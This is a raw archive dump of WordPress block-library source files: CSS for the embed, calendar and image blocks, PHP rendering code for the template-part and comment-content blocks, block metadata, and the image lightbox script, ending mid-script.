position:absolute; right:0; top:0; } .wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{ max-width:360px; width:100%; } .wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{ min-width:280px; }embed/theme-rtl.min.css000064400000000260151202367550011021 0ustar00.wp-block-embed :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed :where(figcaption){color:#ffffffa6}.wp-block-embed{margin:0 0 1em}embed/theme.min.css000064400000000260151202367550010222 0ustar00.wp-block-embed :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed :where(figcaption){color:#ffffffa6}.wp-block-embed{margin:0 0 1em}template-part.php000064400000023652151202367550010052 0ustar00 'wp_template_part', 'post_status' => 'publish', 'post_name__in' => array( $attributes['slug'] ), 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'name', 'terms' => $theme, ), ), 'posts_per_page' => 1, 'no_found_rows' => true, 'lazy_load_term_meta' => false, // Do not lazy load term meta, as template parts only have one term. ) ); $template_part_post = $template_part_query->have_posts() ? $template_part_query->next_post() : null; if ( $template_part_post ) { // A published post might already exist if this template part was customized elsewhere // or if it's part of a customized template. $block_template = _build_block_template_result_from_post( $template_part_post ); $content = $block_template->content; if ( isset( $block_template->area ) ) { $area = $block_template->area; } /** * Fires when a block template part is loaded from a template post stored in the database. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param WP_Post $template_part_post The template part post object. * @param string $content The template part content. */ do_action( 'render_block_core_template_part_post', $template_part_id, $attributes, $template_part_post, $content ); } else { $template_part_file_path = ''; // Else, if the template part was provided by the active theme, // render the corresponding file content. if ( 0 === validate_file( $attributes['slug'] ) ) { $block_template = get_block_file_template( $template_part_id, 'wp_template_part' ); if ( isset( $block_template->content ) ) { $content = $block_template->content; } if ( isset( $block_template->area ) ) { $area = $block_template->area; } // Needed for the `render_block_core_template_part_file` and `render_block_core_template_part_none` actions below. $block_template_file = _get_block_template_file( 'wp_template_part', $attributes['slug'] ); if ( $block_template_file ) { $template_part_file_path = $block_template_file['path']; } } if ( '' !== $content && null !== $content ) { /** * Fires when a block template part is loaded from a template part in the theme. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param string $template_part_file_path Absolute path to the template path. * @param string $content The template part content. */ do_action( 'render_block_core_template_part_file', $template_part_id, $attributes, $template_part_file_path, $content ); } else { /** * Fires when a requested block template part does not exist in the database nor in the theme. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param string $template_part_file_path Absolute path to the not found template path. */ do_action( 'render_block_core_template_part_none', $template_part_id, $attributes, $template_part_file_path ); } } } // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = WP_DEBUG && WP_DEBUG_DISPLAY; if ( is_null( $content ) ) { if ( $is_debug && isset( $attributes['slug'] ) ) { return sprintf( /* translators: %s: Template part slug. */ __( 'Template part has been deleted or is unavailable: %s' ), $attributes['slug'] ); } return ''; } if ( isset( $seen_ids[ $template_part_id ] ) ) { return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. __( '[block rendering halted]' ) : ''; } // Look up area definition. $area_definition = null; $defined_areas = get_allowed_block_template_part_areas(); foreach ( $defined_areas as $defined_area ) { if ( $defined_area['area'] === $area ) { $area_definition = $defined_area; break; } } // If $area is not allowed, set it back to the uncategorized default. if ( ! $area_definition ) { $area = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; } // Run through the actions that are typically taken on the_content. $content = shortcode_unautop( $content ); $content = do_shortcode( $content ); $seen_ids[ $template_part_id ] = true; $content = do_blocks( $content ); unset( $seen_ids[ $template_part_id ] ); $content = wptexturize( $content ); $content = convert_smilies( $content ); $content = wp_filter_content_tags( $content, "template_part_{$area}" ); // Handle embeds for block template parts. global $wp_embed; $content = $wp_embed->autoembed( $content ); if ( empty( $attributes['tagName'] ) || tag_escape( $attributes['tagName'] ) !== $attributes['tagName'] ) { $area_tag = 'div'; if ( $area_definition && isset( $area_definition['area_tag'] ) ) { $area_tag = $area_definition['area_tag']; } $html_tag = $area_tag; } else { $html_tag = esc_attr( $attributes['tagName'] ); } $wrapper_attributes = get_block_wrapper_attributes(); return "<$html_tag $wrapper_attributes>" . str_replace( ']]>', ']]>', $content ) . ""; } /** * Returns an array of area variation objects for the template part block. * * @since 6.1.0 * * @param array $instance_variations The variations for instances. * * @return array Array containing the block variation objects. */ function build_template_part_block_area_variations( $instance_variations ) { $variations = array(); $defined_areas = get_allowed_block_template_part_areas(); foreach ( $defined_areas as $area ) { if ( 'uncategorized' !== $area['area'] ) { $has_instance_for_area = false; foreach ( $instance_variations as $variation ) { if ( $variation['attributes']['area'] === $area['area'] ) { $has_instance_for_area = true; break; } } $scope = $has_instance_for_area ? array() : array( 'inserter' ); $variations[] = array( 'name' => 'area_' . $area['area'], 'title' => $area['label'], 'description' => $area['description'], 'attributes' => array( 'area' => $area['area'], ), 'scope' => $scope, 'icon' => $area['icon'], ); } } return $variations; } /** * Returns an array of instance variation objects for the template part block * * @since 6.1.0 * * @return array Array containing the block variation objects. */ function build_template_part_block_instance_variations() { // Block themes are unavailable during installation. if ( wp_installing() ) { return array(); } if ( ! current_theme_supports( 'block-templates' ) && ! current_theme_supports( 'block-template-parts' ) ) { return array(); } $variations = array(); $template_parts = get_block_templates( array( 'post_type' => 'wp_template_part', ), 'wp_template_part' ); $defined_areas = get_allowed_block_template_part_areas(); $icon_by_area = array_combine( array_column( $defined_areas, 'area' ), array_column( $defined_areas, 'icon' ) ); foreach ( $template_parts as $template_part ) { $variations[] = array( 'name' => 'instance_' . sanitize_title( $template_part->slug ), 'title' => $template_part->title, // If there's no description for the template part don't show the // block description. This is a bit hacky, but prevent the fallback // by using a non-breaking space so that the value of description // isn't falsey. 'description' => $template_part->description || ' ', 'attributes' => array( 'slug' => $template_part->slug, 'theme' => $template_part->theme, 'area' => $template_part->area, ), 'scope' => array( 'inserter' ), 'icon' => isset( $icon_by_area[ $template_part->area ] ) ? $icon_by_area[ $template_part->area ] : null, 'example' => array( 'attributes' => array( 'slug' => $template_part->slug, 'theme' => $template_part->theme, 'area' => $template_part->area, ), ), ); } return $variations; } /** * Returns an array of all template part block variations. * * @since 5.9.0 * * @return array Array containing the block variation objects. */ function build_template_part_block_variations() { $instance_variations = build_template_part_block_instance_variations(); $area_variations = build_template_part_block_area_variations( $instance_variations ); return array_merge( $area_variations, $instance_variations ); } /** * Registers the `core/template-part` block on the server. * * @since 5.9.0 */ function register_block_core_template_part() { register_block_type_from_metadata( __DIR__ . '/template-part', array( 'render_callback' => 'render_block_core_template_part', 'variation_callback' => 'build_template_part_block_variations', ) ); } add_action( 'init', 'register_block_core_template_part' ); comment-content.php000064400000004633151202367550010403 0ustar00context['commentId'] ) ) { return ''; } $comment = get_comment( $block->context['commentId'] ); $commenter = wp_get_current_commenter(); $show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author']; if ( empty( $comment ) ) { return ''; } $args = array(); $comment_text = get_comment_text( $comment, $args ); if ( ! $comment_text ) { return ''; } /** This filter is documented in wp-includes/comment-template.php */ $comment_text = apply_filters( 'comment_text', $comment_text, $comment, $args ); $moderation_note = ''; if ( '0' === $comment->comment_approved ) { $commenter = wp_get_current_commenter(); if ( $commenter['comment_author_email'] ) { $moderation_note = __( 'Your comment is awaiting moderation.' ); } else { $moderation_note = __( 'Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved.' ); } $moderation_note = '

' . $moderation_note . '

'; if ( ! $show_pending_links ) { $comment_text = wp_kses( $comment_text, array() ); } } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '
%2$s%3$s
', $wrapper_attributes, $moderation_note, $comment_text ); } /** * Registers the `core/comment-content` block on the server. * * @since 6.0.0 */ function register_block_core_comment_content() { register_block_type_from_metadata( __DIR__ . '/comment-content', array( 'render_callback' => 'render_block_core_comment_content', ) ); } add_action( 'init', 'register_block_core_comment_content' ); calendar/style.min.css000064400000001225151202367550010757 0ustar00.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}.wp-block-calendar :where(table:not(.has-text-color)){color:#40464d}.wp-block-calendar :where(table:not(.has-text-color)) td,.wp-block-calendar :where(table:not(.has-text-color)) th{border-color:#ddd}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}calendar/style-rtl.css000064400000001327151202367550010777 0ustar00.wp-block-calendar{ text-align:center; } .wp-block-calendar td,.wp-block-calendar th{ border:1px solid; padding:.25em; } .wp-block-calendar th{ font-weight:400; } .wp-block-calendar caption{ background-color:inherit; } .wp-block-calendar table{ border-collapse:collapse; width:100%; } .wp-block-calendar table.has-background th{ background-color:inherit; } .wp-block-calendar table.has-text-color th{ color:inherit; } .wp-block-calendar :where(table:not(.has-text-color)){ color:#40464d; } .wp-block-calendar :where(table:not(.has-text-color)) td,.wp-block-calendar :where(table:not(.has-text-color)) th{ border-color:#ddd; } :where(.wp-block-calendar table:not(.has-background) th){ background:#ddd; }calendar/style.css000064400000001327151202367550010200 0ustar00.wp-block-calendar{ text-align:center; } .wp-block-calendar td,.wp-block-calendar th{ border:1px solid; padding:.25em; } .wp-block-calendar th{ font-weight:400; } .wp-block-calendar caption{ background-color:inherit; } .wp-block-calendar table{ border-collapse:collapse; width:100%; } .wp-block-calendar table.has-background th{ background-color:inherit; } .wp-block-calendar table.has-text-color th{ color:inherit; } .wp-block-calendar :where(table:not(.has-text-color)){ color:#40464d; } .wp-block-calendar :where(table:not(.has-text-color)) td,.wp-block-calendar :where(table:not(.has-text-color)) th{ border-color:#ddd; } :where(.wp-block-calendar table:not(.has-background) th){ background:#ddd; }calendar/style-rtl.min.css000064400000001225151202367550011556 0ustar00.wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}.wp-block-calendar :where(table:not(.has-text-color)){color:#40464d}.wp-block-calendar :where(table:not(.has-text-color)) td,.wp-block-calendar :where(table:not(.has-text-color)) th{border-color:#ddd}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd}calendar/block.json000064400000002025151202367550010307 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/calendar", "title": "Calendar", "category": "widgets", "description": "A calendar of your site’s posts.", "keywords": [ "posts", "archive" ], "textdomain": "default", "attributes": { "month": { "type": "integer" }, "year": { "type": "integer" } }, "supports": { "align": true, "html": false, "color": { "link": true, "__experimentalSkipSerialization": [ "text", "background" ], "__experimentalDefaultControls": { "background": true, "text": true }, "__experimentalSelector": "table, th" }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-calendar" } image/style.min.css000064400000015146151202367550010277 0ustar00.wp-block-image>a,.wp-block-image>figure>a{display:inline-block}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}@media not (prefers-reduced-motion){.wp-block-image img.hide{visibility:hidden}.wp-block-image img.show{animation:show-content-image .4s}}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{width:100%}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-image.is-style-circle-mask img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,');mask-image:url('data:image/svg+xml;utf8,');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){border-radius:9999px}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;opacity:0;padding:0;position:absolute;right:16px;text-align:center;top:16px;width:20px;z-index:100}@media not (prefers-reduced-motion){.wp-lightbox-container button{transition:opacity .2s ease}}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;left:0;overflow:hidden;position:fixed;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;min-height:40px;min-width:40px;padding:0;position:absolute;right:calc(env(safe-area-inset-right) + 16px);top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);left:50%;overflow:hidden;position:absolute;top:50%;transform:translate(-50%,-50%);transform-origin:top left;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:0 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{visibility:visible}@media not (prefers-reduced-motion){.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes show-content-image{0%{visibility:hidden}99%{visibility:hidden}to{visibility:visible}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(-50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(-50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}image/theme-rtl.css000064400000000324151202367550010246 0ustar00:root :where(.wp-block-image figcaption){ color:#555; font-size:13px; text-align:center; } .is-dark-theme :root :where(.wp-block-image figcaption){ color:#ffffffa6; } .wp-block-image{ margin:0 0 1em; }image/theme.css000064400000000324151202367550007447 0ustar00:root :where(.wp-block-image figcaption){ color:#555; font-size:13px; text-align:center; } .is-dark-theme :root :where(.wp-block-image figcaption){ color:#ffffffa6; } .wp-block-image{ margin:0 0 1em; }image/view.min.js000064400000011043151202367550007725 0ustar00import*as t from"@wordpress/interactivity";var e={d:(t,n)=>{for(var a in n)e.o(n,a)&&!e.o(t,a)&&Object.defineProperty(t,a,{enumerable:!0,get:n[a]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)};const n=(t=>{var n={};return e.d(n,t),n})({getContext:()=>t.getContext,getElement:()=>t.getElement,store:()=>t.store,withSyncEvent:()=>t.withSyncEvent});let a=!1,o=0;const{state:r,actions:i,callbacks:l}=(0,n.store)("core/image",{state:{currentImageId:null,get currentImage(){return r.metadata[r.currentImageId]},get overlayOpened(){return null!==r.currentImageId},get roleAttribute(){return r.overlayOpened?"dialog":null},get ariaModal(){return r.overlayOpened?"true":null},get enlargedSrc(){return r.currentImage.uploadedSrc||"data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs="},get figureStyles(){return r.overlayOpened&&`${r.currentImage.figureStyles?.replace(/margin[^;]*;?/g,"")};`},get imgStyles(){return r.overlayOpened&&`${r.currentImage.imgStyles?.replace(/;$/,"")}; object-fit:cover;`},get imageButtonRight(){const{imageId:t}=(0,n.getContext)();return r.metadata[t].imageButtonRight},get imageButtonTop(){const{imageId:t}=(0,n.getContext)();return r.metadata[t].imageButtonTop},get isContentHidden(){const t=(0,n.getContext)();return r.overlayEnabled&&r.currentImageId===t.imageId},get isContentVisible(){const t=(0,n.getContext)();return!r.overlayEnabled&&r.currentImageId===t.imageId}},actions:{showLightbox(){const{imageId:t}=(0,n.getContext)();r.metadata[t].imageRef?.complete&&(r.scrollTopReset=document.documentElement.scrollTop,r.scrollLeftReset=document.documentElement.scrollLeft,r.overlayEnabled=!0,r.currentImageId=t,l.setOverlayStyles())},hideLightbox(){r.overlayEnabled&&(r.overlayEnabled=!1,setTimeout((function(){r.currentImage.buttonRef.focus({preventScroll:!0}),r.currentImageId=null}),450))},handleKeydown:(0,n.withSyncEvent)((t=>{if(r.overlayEnabled){if("Tab"===t.key){t.preventDefault();const{ref:e}=(0,n.getElement)();e.querySelector("button").focus()}"Escape"===t.key&&i.hideLightbox()}})),handleTouchMove:(0,n.withSyncEvent)((t=>{r.overlayEnabled&&t.preventDefault()})),handleTouchStart(){a=!0},handleTouchEnd(){o=Date.now(),a=!1},handleScroll(){r.overlayOpened&&!a&&Date.now()-o>450&&window.scrollTo(r.scrollLeftReset,r.scrollTopReset)}},callbacks:{setOverlayStyles(){if(!r.overlayEnabled)return;let{naturalWidth:t,naturalHeight:e,offsetWidth:n,offsetHeight:a}=r.currentImage.imageRef,{x:o,y:i}=r.currentImage.imageRef.getBoundingClientRect();const l=t/e;let g=n/a;if("contain"===r.currentImage.scaleAttr)if(l>g){const t=n/l;i+=(a-t)/2,a=t}else{const t=a*l;o+=(n-t)/2,n=t}g=n/a;let c=parseFloat("none"!==r.currentImage.targetWidth?r.currentImage.targetWidth:t),d=parseFloat("none"!==r.currentImage.targetHeight?r.currentImage.targetHeight:e),s=c/d,u=c,m=d,h=c,p=d;if(l.toFixed(2)!==s.toFixed(2)){if(l>s){const t=c/l;d-t>c?(d=t,c=t*l):d=c/l}else{const t=d*l;c-t>d?(c=t,d=t/l):c=d*l}h=c,p=d,s=c/d,g>s?(u=c,m=u/g):(m=d,u=m*g)}(n>h||a>p)&&(h=n,p=a);let f=0;window.innerWidth>480?f=80:window.innerWidth>1920&&(f=160);const y=Math.min(window.innerWidth-f,h),w=Math.min(window.innerHeight-80,p);g>y/w?(h=y,p=h/g):(p=w,h=p*g);const b=n/h,I=c*(h/u),v=d*(p/m);r.overlayStyles=`\n\t\t\t\t\t--wp--lightbox-initial-top-position: ${i}px;\n\t\t\t\t\t--wp--lightbox-initial-left-position: ${o}px;\n\t\t\t\t\t--wp--lightbox-container-width: ${h+1}px;\n\t\t\t\t\t--wp--lightbox-container-height: ${p+1}px;\n\t\t\t\t\t--wp--lightbox-image-width: ${I}px;\n\t\t\t\t\t--wp--lightbox-image-height: ${v}px;\n\t\t\t\t\t--wp--lightbox-scale: ${b};\n\t\t\t\t\t--wp--lightbox-scrollbar-width: ${window.innerWidth-document.documentElement.clientWidth}px;\n\t\t\t\t`},setButtonStyles(){const{ref:t}=(0,n.getElement)();if(!t)return;const{imageId:e}=(0,n.getContext)();r.metadata[e].imageRef=t,r.metadata[e].currentSrc=t.currentSrc;const{naturalWidth:a,naturalHeight:o,offsetWidth:i,offsetHeight:l}=t;if(0===a||0===o)return;const g=t.parentElement,c=t.parentElement.clientWidth;let d=t.parentElement.clientHeight;const s=g.querySelector("figcaption");if(s){const t=window.getComputedStyle(s);["absolute","fixed"].includes(t.position)||(d=d-s.offsetHeight-parseFloat(t.marginTop)-parseFloat(t.marginBottom))}const u=d-l,m=c-i;let h=u+16,p=m+16;if("contain"===r.metadata[e].scaleAttr){const t=a/o;if(t>=i/l){h=(l-i/t)/2+u+16,p=m+16}else{h=u+16,p=(i-l*t)/2+m+16}}r.metadata[e].imageButtonTop=h,r.metadata[e].imageButtonRight=p},setOverlayFocus(){if(r.overlayEnabled){const{ref:t}=(0,n.getElement)();t.focus()}},initTriggerButton(){const{imageId:t}=(0,n.getContext)(),{ref:e}=(0,n.getElement)();r.metadata[t].buttonRef=e}}},{lock:!0});image/view.js000064400000030372151202367550007151 0ustar00import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; ;// external "@wordpress/interactivity" var x = (y) => { var x = {}; __webpack_require__.d(x, y); return x } var y = (x) => (() => (x)) const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store), ["withSyncEvent"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.withSyncEvent) }); ;// ./node_modules/@wordpress/block-library/build-module/image/view.js let isTouching = false; let lastTouchTime = 0; const { state, actions, callbacks } = (0,interactivity_namespaceObject.store)( "core/image", { state: { currentImageId: null, get currentImage() { return state.metadata[state.currentImageId]; }, get overlayOpened() { return state.currentImageId !== null; }, get roleAttribute() { return state.overlayOpened ? "dialog" : null; }, get ariaModal() { return state.overlayOpened ? "true" : null; }, get enlargedSrc() { return state.currentImage.uploadedSrc || "data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs="; }, get figureStyles() { return state.overlayOpened && `${state.currentImage.figureStyles?.replace( /margin[^;]*;?/g, "" )};`; }, get imgStyles() { return state.overlayOpened && `${state.currentImage.imgStyles?.replace( /;$/, "" )}; object-fit:cover;`; }, get imageButtonRight() { const { imageId } = (0,interactivity_namespaceObject.getContext)(); return state.metadata[imageId].imageButtonRight; }, get imageButtonTop() { const { imageId } = (0,interactivity_namespaceObject.getContext)(); return state.metadata[imageId].imageButtonTop; }, get isContentHidden() { const ctx = (0,interactivity_namespaceObject.getContext)(); return state.overlayEnabled && state.currentImageId === ctx.imageId; }, get isContentVisible() { const ctx = (0,interactivity_namespaceObject.getContext)(); return !state.overlayEnabled && state.currentImageId === ctx.imageId; } }, actions: { showLightbox() { const { imageId } = (0,interactivity_namespaceObject.getContext)(); if (!state.metadata[imageId].imageRef?.complete) { return; } state.scrollTopReset = document.documentElement.scrollTop; state.scrollLeftReset = document.documentElement.scrollLeft; state.overlayEnabled = true; state.currentImageId = imageId; callbacks.setOverlayStyles(); }, hideLightbox() { if (state.overlayEnabled) { state.overlayEnabled = false; setTimeout(function() { state.currentImage.buttonRef.focus({ preventScroll: true }); state.currentImageId = null; }, 450); } }, handleKeydown: (0,interactivity_namespaceObject.withSyncEvent)((event) => { if (state.overlayEnabled) { if (event.key === "Tab") { event.preventDefault(); const { ref } = (0,interactivity_namespaceObject.getElement)(); ref.querySelector("button").focus(); } if (event.key === "Escape") { actions.hideLightbox(); } } }), handleTouchMove: (0,interactivity_namespaceObject.withSyncEvent)((event) => { if (state.overlayEnabled) { event.preventDefault(); } }), handleTouchStart() { isTouching = true; }, handleTouchEnd() { lastTouchTime = Date.now(); isTouching = false; }, handleScroll() { if (state.overlayOpened) { if (!isTouching && Date.now() - lastTouchTime > 450) { window.scrollTo( state.scrollLeftReset, state.scrollTopReset ); } } } }, callbacks: { setOverlayStyles() { if (!state.overlayEnabled) { return; } let { naturalWidth, naturalHeight, offsetWidth: originalWidth, offsetHeight: originalHeight } = state.currentImage.imageRef; let { x: screenPosX, y: screenPosY } = state.currentImage.imageRef.getBoundingClientRect(); const naturalRatio = naturalWidth / naturalHeight; let originalRatio = originalWidth / originalHeight; if (state.currentImage.scaleAttr === "contain") { if (naturalRatio > originalRatio) { const heightWithoutSpace = originalWidth / naturalRatio; screenPosY += (originalHeight - heightWithoutSpace) / 2; originalHeight = heightWithoutSpace; } else { const widthWithoutSpace = originalHeight * naturalRatio; screenPosX += (originalWidth - widthWithoutSpace) / 2; originalWidth = widthWithoutSpace; } } originalRatio = originalWidth / originalHeight; let imgMaxWidth = parseFloat( state.currentImage.targetWidth !== "none" ? state.currentImage.targetWidth : naturalWidth ); let imgMaxHeight = parseFloat( state.currentImage.targetHeight !== "none" ? state.currentImage.targetHeight : naturalHeight ); let imgRatio = imgMaxWidth / imgMaxHeight; let containerMaxWidth = imgMaxWidth; let containerMaxHeight = imgMaxHeight; let containerWidth = imgMaxWidth; let containerHeight = imgMaxHeight; if (naturalRatio.toFixed(2) !== imgRatio.toFixed(2)) { if (naturalRatio > imgRatio) { const reducedHeight = imgMaxWidth / naturalRatio; if (imgMaxHeight - reducedHeight > imgMaxWidth) { imgMaxHeight = reducedHeight; imgMaxWidth = reducedHeight * naturalRatio; } else { imgMaxHeight = imgMaxWidth / naturalRatio; } } else { const reducedWidth = imgMaxHeight * naturalRatio; if (imgMaxWidth - reducedWidth > imgMaxHeight) { imgMaxWidth = reducedWidth; imgMaxHeight = reducedWidth / naturalRatio; } else { imgMaxWidth = imgMaxHeight * naturalRatio; } } containerWidth = imgMaxWidth; containerHeight = imgMaxHeight; imgRatio = imgMaxWidth / imgMaxHeight; if (originalRatio > imgRatio) { containerMaxWidth = imgMaxWidth; containerMaxHeight = containerMaxWidth / originalRatio; } else { containerMaxHeight = imgMaxHeight; containerMaxWidth = containerMaxHeight * originalRatio; } } if (originalWidth > containerWidth || originalHeight > containerHeight) { containerWidth = originalWidth; containerHeight = originalHeight; } let horizontalPadding = 0; if (window.innerWidth > 480) { horizontalPadding = 80; } else if (window.innerWidth > 1920) { horizontalPadding = 160; } const verticalPadding = 80; const targetMaxWidth = Math.min( window.innerWidth - 